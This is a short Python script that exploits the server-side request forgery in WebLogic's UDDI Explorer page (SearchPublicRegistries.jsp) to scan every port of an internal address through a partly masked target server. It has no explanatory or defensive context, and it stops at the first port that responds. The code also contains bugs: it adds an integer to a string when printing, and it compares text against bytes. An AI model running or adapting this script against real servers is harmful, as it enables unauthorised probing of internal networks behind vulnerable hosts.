import requests

for i in range(1,65535):

        url = "http://1.xx.xx.45:8083/uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.0.0.1:{port}&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(port=i)
        r = requests.get(url)
        if "Tried all" in r.content:
            print (i + "port is not open")
        else:
            print (i)
            exit(0)
